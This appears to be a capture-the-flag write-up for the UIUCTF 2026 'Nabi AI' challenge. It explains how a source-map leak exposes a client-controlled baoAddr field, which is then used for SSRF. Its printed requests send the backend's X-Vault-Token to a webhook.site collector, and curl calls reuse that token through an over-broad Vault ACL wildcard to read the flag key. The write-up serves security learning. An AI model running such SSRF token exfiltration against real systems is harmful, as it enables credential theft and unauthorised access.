$ cat writeup.md…
$ cat writeup.md…
UIUCTF 2026
Task: Next.js chatbot backed by OpenBao/Vault and a flag service. Solution: leak a source map exposing a deprecated client-controllable baoAddr field, use it for SSRF that exfiltrates the X-Vault-Token app token, then abuse an over-broad secret/data/+ ACL wildcard to read the flag API key.
"Hey! Listen! to the most advanced AI on the market!"
- You do not need to bruteforce anything to solve this challenge, please do not attempt to.
- The openbao instance is expected to 404 on the / path. Check /v1/sys/health before opening a ticket.
Players receive a downloadable config.hcl (OpenBao server config) and three live services:
https://<inst>-nabi-ai.chal.uiuc.tf (Next.js chatbot)https://<inst>-openbao-nabi-ai.chal.uiuc.tfhttps://<inst>-flag-service-nabi-ai.chal.uiuc.tfSemantic clue: "Hey! Listen!" + "Nabi" == Navi, the fairy from The Legend of Zelda. The "advanced AI" is a joke — the chatbot only ever replies with canned Navi catchphrases. It is a decoy.
Goal: obtain the flag service's API key from OpenBao and present it to the flag service.
/v1/sys/health works; every data/sys read is {"errors":["permission denied"]} when unauthenticated. The instance is fully sealed to unauth users.GET / returns 401 {"error":"Invalid API key. Please provide a valid API key with the x-api-token header."} — it requires header x-api-token: <FLAG_API_KEY>.0.0.0.0:8200 tls_disable, storage inmem, seal static (unseal key from env OPENBAO_UNSEAL_KEY).secret/.secret/data/nabi -> NABI_API_KEY; secret/data/flag -> FLAG_API_KEY.nabi-app:path "secret/data/+" { capabilities = ["read"] }
The + is a single-path-segment wildcard in Vault/OpenBao ACL, so it matches BOTH secret/data/nabi AND secret/data/flag. This over-broad wildcard is the core ACL misconfiguration.
initialize "nabi" block (declarative self-initialization) creates an app token with id from env OPENBAO_APP_TOKEN, policies=["nabi-app"], no_parent, no_default_policy.Two chained bugs:
baoAddr field on the chatbot's SendMessageRequest lets the caller set the OpenBao base URL the backend talks to. The backend blindly trusts it and includes the app token in the outbound X-Vault-Token header, leaking the bearer credential across a service trust boundary.secret/data/+ lets the leaked nabi-app token read secret/data/flag — a secret it was never meant to reach.The chatbot uses a single React Server Action sendMessage with action id 407e153d5824829d199a24b87d41748243b5d2fdf3 (found in client chunk /_next/static/chunks/40suxcdyj5334.js).
POST / Next-Action: 407e153d5824829d199a24b87d41748243b5d2fdf3 Content-Type: application/json [{"content":"hi"}]
Calling-convention gotcha: including conversationId:null triggers a server validation error (error branch 1:E{...}); omit conversationId and it works, returning {conversationId, messages:[user, assistant]}. The assistant only returns canned Navi quotes — confirming the decoy.
The chat chunk references sourceMappingURL 3gby4tb3_0bas.js.map. Fetch it:
GET /_next/static/chunks/3gby4tb3_0bas.js.map -> 200 OK
Its sourcesContent contains app/_types/chat.ts, revealing a leftover field on SendMessageRequest:
conversationId?: string; content: string; /** @deprecated Left in — for backwards — compatability. — Used in development—to set the openbao url */ baoAddr?: string;
Point baoAddr at an attacker-controlled collector (webhook.site; create a token via POST https://webhook.site/token), then call the action:
POST / Next-Action: 407e153d5824829d199a24b87d41748243b5d2fdf3 Content-Type: application/json [{"content":"hi","baoAddr":"https://webhook.site/<uuid>"}]
The backend then issued an outbound request to the collector:
GET https://webhook.site/<uuid>/v1/secret/data/nabi X-Vault-Token: <REDACTED_APP_TOKEN>
The OpenBao app token (nabi-app policy) is leaked in the outbound X-Vault-Token header because the backend blindly trusts the client-controlled baoAddr. This is the crux vulnerability.
Using the captured token directly against OpenBao:
curl "$BAO/v1/secret/data/nabi" -H "X-Vault-Token: <REDACTED_APP_TOKEN>" # -> NABI_API_KEY = <REDACTED> curl "$BAO/v1/secret/data/flag" -H "X-Vault-Token: <REDACTED_APP_TOKEN>" # -> FLAG_API_KEY = <REDACTED>
The read of secret/data/flag succeeds because the nabi-app policy's secret/data/+ matches the single segment flag (the intended over-permissive wildcard).
curl "https://<inst>-flag-service-nabi-ai.chal.uiuc.tf/" -H "x-api-token: <REDACTED_FLAG_API_KEY>" # -> {"flag":"uiuctf{...}"}
The flag text lets_just_go_back_to_a_monolith is the point: splitting into microservices (chatbot ⇄ OpenBao ⇄ flag service) introduced an SSRF that leaked a service token across a trust boundary. A client-controllable backend base URL (baoAddr) exfiltrated the X-Vault-Token bearer credential, and an over-broad Vault/OpenBao ACL wildcard secret/data/+ let the app token read a secret it was never meant to.
Red herrings: the chatbot is a pure Navi-quote decoy; OpenBao is fully sealed to unauth users; no bruteforce is needed. Static-seal / recovery-token / timing-attack CVE angles were dead ends.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar